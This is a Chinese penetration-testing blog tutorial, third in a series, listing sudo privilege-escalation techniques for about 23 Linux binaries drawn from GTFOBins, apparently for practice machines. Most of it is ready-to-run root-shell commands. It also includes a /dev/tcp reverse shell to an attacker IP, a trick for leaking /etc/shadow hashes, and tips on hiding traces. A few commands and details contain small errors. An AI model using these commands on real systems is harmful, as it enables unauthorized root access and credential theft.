渗透测试:Linux提权精讲(三)之sudo方法第三期

目录

写在开头

sudo jjs

sudo journalctl

sudo knife

sudo less

sudo man

sudo more

sudo mount

sudo mysql

sudo nano

扫描二维码关注公众号,回复: 16186575 查看本文章

sudo neofetch

sudo nice

sudo nmap

sudo node

sudo nohup

sudo openvpn

sudo passwd

sudo perl

sudo php

sudo pico

sudo pkexec

sudo python3

sudo rvim

sudo scp

总结与思考 

写在开头

 本文在前两篇博客的基础上继续讲解渗透测试的sudo提权方法。相关内容的介绍与背景详见:

渗透测试:Linux提权精讲(一)之sudo方法第一期_Bossfrank的博客-CSDN博客

渗透测试:Linux提权精讲(二)之sudo方法第二期_Bossfrank的博客-CSDN博客

 本文将在红队笔记大佬讲解与GTFOBins开源项目(详见GTFOBins)的基础上,继续对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第2部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili

 文末的总结与思考模块会对本篇涉及到的提权方法进行分类,并总结sudo提权的思路与逻辑,未必描述的完全恰当,仅是我的个人理解,也欢迎读者评论与私信共同探讨。

sudo jjs

漏洞利用前提 

当前用户可以以sudo高级权限运行jjs,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/jjs

  利用详情可见jjs | GTFOBins,不过据红队笔记大佬说GTFOBins上的利用方式有点问题,收不到反弹shell。jjs是javascript shell的缩写。

操作方式 
 由于直接运行GTFOBins的指令会卡死,本操作方式结合了jjs | GTFOBins的逻辑,并使用Reverse Shell Cheat Sheet | pentestmonkey的java反弹shell编写方式。

echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs

 逻辑就是将一个脚本输出到jjs中,而jjs具有sudo权限,执行此反弹shell的逻辑会反弹root的shell。执行之前别忘了在kali中开启nc监听1234端口:

nc -lvnp 1234

 即可收到反弹shell。注意此时收到的反弹shell可能交互性不完全,可以输入bash启动bash的shell增强交互性。

sudo journalctl

漏洞利用前提 

当前用户可以以sudo高级权限运行journalctl,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /bin/journalctl

同时感叹号!执行系统命令的功能不可被禁用。 

journalctl是systemctl体系下用于管理系统日志的工具,在较新的linux发行版中都会有。利用详情可见journalctl | GTFOBins

操作方式 

先直接sudo执行journalctl:

sudo journalctl

然后发现进入了查看系统日志的界面,该界面的底层采用了和less命令相似的机制,都可以之间键入感叹号!输入系统命令,因此直接输入:

!/bin/bash

即可实现提权。如果感叹号!执行系统命令的功能被禁用了,则无法提权。

sudo knife

漏洞利用前提 

当前用户可以以sudo高级权限运行knife,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/knife

knife是chef的命令行接口,可以与chef的服务器进行交互,chef是一个服务器等基础设施的自动化管理和配置工具。利用详情可见knife | GTFOBins

操作方式 

sudo knife exec -E 'exec "/bin/bash"'

 其中exec是knife的子命令,-E参数引入ruby语言格式的字符串(knife是基于ruby语言编写的),表示要执行的命令。执行即可提权。

sudo less

漏洞利用前提 

当前用户可以以sudo高级权限运行less,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/less

 less是常见的用于读取文件的工具,前面已经提到了许多类似less机制的提权,都是利用了读取文件时可以键入系统命令启动shell,利用详见less | GTFOBins

操作方式 

可以先建立一个临时文件 

mktemp ./XXX

 然后应该可以看到这个临时文件的名字,比如./tE70f,然后用sudo less读取这个临时文件:

sudo less tE70f

进入读的界面后,键入感叹号表示输入系统命令,启动bash即可提权:

!/bin/bash

 当然也可以直接随便读取个文件,然后输入!/bin/bash,这里描述的采用临时文件的方法有助于渗透测试过程中对自身痕迹的隐藏。

sudo man

漏洞利用前提 

当前用户可以以sudo高级权限运行man,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/man

 man是常用的用于查看linux命令帮助的工具,提权利用也是类似less的机制,利用详见man | GTFOBins

操作方式 

首先随便输入用sudo man查看一个linux命令,这里以ls为例:

sudo man ls

进入帮助界面后,也是键入!可以运行系统命令,类似less的机制即可提权:

!/bin/bash

sudo more

漏洞利用前提 

当前用户可以以sudo高级权限运行more,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/more

 more和less类似,都是用于读取文件,提权利用也是类似less的机制,利用详见more | GTFOBins

操作方式 

还是通过临时文件的方法,先建立一个临时文件:

mktemp ./xxx

 应该可以看到这个临时文件的名字,比如./7aADd,此时由于这个临时文件是空的,用more读取不会看到任何的结果,因此我们可以先将某个文件重定向到这个临时文件,这里假设bossfrank是一个已有的文件:

yes bossfrank > 7aADd

然后通过more读取,并用!启动bash:

sudo more 7aADd
!/bin/bash

同样,使用临时文件便于隐藏痕迹。单纯为了提权也可以直接读取系统的文件。

sudo mount

漏洞利用前提 

当前用户可以以sudo高级权限运行mount,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/mount

mount常用于文件挂载,可以挂载磁盘也可以挂载共享文件目录,利用详见mount | GTFOBins

操作方式 

sudo mount -o bind /bin/bash /bin/mount

-o意思是option指定选项,bind用于绑定,将bash绑定到mount中,这样只要再次sudo运行mount即可提权:

sudo mount

sudo mysql

漏洞利用前提 

当前用户可以以sudo高级权限运行mysql,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/mysql

类似mysql这种关键应用常常有执行系统命令的操作,利用详见mysql | GTFOBins

操作方式 

sudo mysql -e '\! /bin/sh'

 其中-e表示执行系统命令,感叹号!表示开始执行系统命令,由于在bash语句中的感叹号!表示访问历史记录,因此要对感叹号!使用反斜杠\进行转义。

sudo nano

漏洞利用前提 

当前用户可以以sudo高级权限运行nano,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nano

nano是一个文本编辑器,其提权方式非常典型。许多工具底层都会调用nano,因此这是一类的提权方式。利用详见nano | GTFOBins

操作方式 

启动nano,可以在nano编辑器底部看到如下的菜单:

sudo nano

 输入ctrl + r选择读取文件Read File,进入读取文件的界面,其下部的菜单如下:

 此处可以看到,输入ctrl + x进入Execute Command执行命令界面,然后我们只要输入要执行的系统命令即可:

reset;bash 1>&0 2>&0

 首先reset重置环境变量,然后启动bash并将输出和错误信息重定向,即可提权。

sudo neofetch

漏洞利用前提 

当前用户可以以sudo高级权限运行neofetch,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/neofetch

neofetch本身是一个用于显示系统配置信息的命令行工具,可以通过自定义配置文件改变输出的信息和格式,实现提权,利用详见neofetch | GTFOBins

操作方式 

先声明一个变量TF,指向一个新建的临时文件:

TF=$(mktemp)

 将提权逻辑写入临时文件中:

echo 'exec /bin/bash' >$TF

 最后sudo运行neofetch,同时指定这个配置文件:

sudo neofetch --config $TF

 neofetch的配置文件只能通过指定文件的方式进行,因此提权逻辑只能写在文件中,无法在上述语句中直接添加执行系统命令的明文指令。运行上述指令即可提权。

sudo nice

漏洞利用前提 

当前用户可以以sudo高级权限运行nice,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nice

nice命令本身用于修改进程的优先级(优先级最高-20,最低19,默认为10),利用详见nice | GTFOBins

操作方式 

直接可以启动bash:

sudo nice /bin/bash

运行即可提权。

sudo nmap

漏洞利用前提 

当前用户可以以sudo高级权限运行nmap,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nice

nmap是常见的端口扫描工具,其中可以自定义脚本,利用详见nmap | GTFOBins

操作方式 

nmap有许多版本,也有不同的提权方式,这里给出其中一种:首先声明一个变量TF,指向一个新建的临时文件:

TF=$(mktemp)

将提权逻辑echo到这个临时文件:

echo 'os.execute("/bin/sh")' > $TF

sudo运行nmap并指定我们编写的提权脚本:

sudo nmap --script=$TF

sudo node

漏洞利用前提 

当前用户可以以sudo高级权限运行node,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/node

node命令用于运行Node.js,利用详见node | GTFOBins

操作方式 

Node.js的选项-e可以进行提权操作:

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

用-e指定字符串,字符串是Node.js的代码。执行上述命令即可提权。

sudo nohup

漏洞利用前提 

当前用户可以以sudo高级权限运行nohup,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/nohup

nohup命令主要用于作业管理,nohup可以运行命令的同时忽略挂起的信号(比如用nohup启动进程后,当终端关闭之后,进程依旧运行),利用详见nohup | GTFOBins

操作方式 

sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

 先用nohup启动/bin/bash会话,其中-c参数对进程进行管理,将bash的输入输出重定向。运行即可提权。

sudo openvpn

漏洞利用前提 

当前用户可以以sudo高级权限运行openvpn,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/openvpn

openvpn的利用详见openvpn | GTFOBins

操作方式 

openvpn可以通过参数读取配置文件,如果可以sudo,则能够以root身份读取系统的敏感文件:

sudo openvpn --config /etc/shadow

 结果会报错,但报错信息会暴露敏感信息的第一行,即/etc/shadow的第一行,我们可以据此拿到root账户的密码hash,再用john找个字典破解即可(未必能破解出来)。

sudo passwd

漏洞利用前提 

当前用户可以以sudo高级权限运行修改密码指令passwd,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/passwd

passwd的利用就是直接修改密码。

操作方式 

既然可以sudo运行passwd,那咱可以直接把root的密码改掉:

sudo passwd

 然后输入两次密码,就可以用我们的新密码su提权了。虽然看着有点离谱,但是真实情况还真有可能出现这种配置情况:低权限的管理员需要修改系统的密码,就会给自己设置passwd的sudo权限。

sudo perl

漏洞利用前提 

当前用户可以以sudo高级权限运行perl语言,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/perl

利用详见perl | GTFOBins

操作方式 

perl是一种脚本语言,提权方式有很多。以如下为例:

sudo perl -e 'exec "/bin/sh";'

 perl语言有-e参数,用于直接执行perl脚本,按照这种方式,直接执行启动bash即可,运行上述命令即可直接提权。

sudo php

漏洞利用前提 

当前用户可以以sudo高级权限运行php,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/php

利用详见php | GTFOBins

操作方式 

 php也是常见的语言,在渗透测试过程中更是尤为常见。我们应该能想到许多提权语句。这里采用一种简单直观的,直接用-r参数启动bash。在web渗透中这些操作也是非常实用的。

sudo php -r "system('/bin/bash');"

在web渗透中这些操作也是非常实用的。

sudo pico

漏洞利用前提 

当前用户可以以sudo高级权限运行pico,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/pico

pico和nano非常相似,也是一种编辑器(功能与nano有差异),利用详见pico | GTFOBins

操作方式 

这里的操作和nano的提权方式基本一致,懒得讲了,总之就是如下命令:

sudo pico
^R^X
reset; bash 1>&0 2>&0

其中ctrl + r选择Read File模式,ctrl + x选择执行命令Execute Commend

sudo pkexec

漏洞利用前提 

当前用户可以以sudo高级权限运行pkexec,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/pkexec

pk就是policykit策略套件的简称,是一种用于管理系统策略的服务。policykit可以允许非特权进程通信以进行特权操作。利用详见pkexec | GTFOBins

操作方式 

pkexec这个工具可以进行权限相关的操作,执行用户指定的程序,这里就是启动bash

sudo pkexec /bin/bash

执行即可提权。

sudo python3

漏洞利用前提 

当前用户可以以sudo高级权限运行python3,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/python3

python也是常见大型语言,利用详见python | GTFOBins

操作方式

我们通常用python语句进行反射,提高shell的交互性,这里也可以直接利用语句启动shell:

sudo python3 -c "import os;os.system('/bin/bash)"

执行即可提权。提权方式有很多,这里仅仅是其中一种。

sudo rvim

漏洞利用前提 

当前用户可以以sudo高级权限运行rvim,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/rvim

rvim是vim编辑器的一个特定版本,其中表示restricted受限模式,在rvim中的操作相比于vim,做了很多限制,禁用了许多可能危害系统的命令。利用详见rvim | GTFOBins

操作方式

sudo rvim -c ':py import os; os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

执行即可提权,单引号中的内容是通过python编写启动shell会话的代码,其中冒号:是vim的语法,表示执行系统命令。

sudo scp

漏洞利用前提 

当前用户可以以sudo高级权限运行scp,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/scp

scp是secure copy的缩写,用于Linux中的基于ssh的远程文件复制,功能类似与cp,但可以跨服务器复制。利用详见scp | GTFOBins

操作方式

提权时需要指定参数-S,表示指定SSH程序,可在其中指定ssh逻辑。先用一个变量TF指向临时文件:

TF=$(mktemp)

然后将提权逻辑写到临时变量中

echo 'bash 0<&2 1>&2' > $TF

给变量(临时文件)添加执行权限:

chmod +x "$TF"

然后用-S参数指定临时文件,此处的$TF是作为ssh程序给出,同时要指定源文件和目标文件,由于我们只是想提权,并不想真的copy,因此随便写一个x和y即可,冒号:用于区分本地文件和远程文件。

sudo scp -S $TF x y:

执行即可提权。

总结与思考 

 本文介绍了23种常见的sudo提权方式,主要还是利用了系统对可执行文件/工具的高权限配置,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的12种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。
 

可直接执行系统命令:sudo nice, sudo nohup, sudo pkexec

通过某些参数间接执行系统命令:sudo knife, sudo mount, sudo rvim, sudo mysql

基于某种语言:sudo perl, sudo php, sudo python, sudo node, sudo jjs

类似在less环境执行系统命令: sudo less, sudo more, sudo journalctl, sudo man

类似nano的编辑器环境执行系统命令:sudo nano,  sudo pico

通过报错读取敏感文件:sudo openvpn

通过指定配置文件/脚本执行系统命令:sudo neofetch, sudo nmap, sudo scp

直接修改敏感文件:sudo passwd

 其实多数情况都是通过某种方式执行了系统的命令。至于是以哪种方式执行(直接/脚本/配置文件/在编辑器环境等)其实也没有特别明确的界限。 因此可能我的有些归类也略显牵强,大家只要理解提权的逻辑即可。

 这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我暂未全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/132035121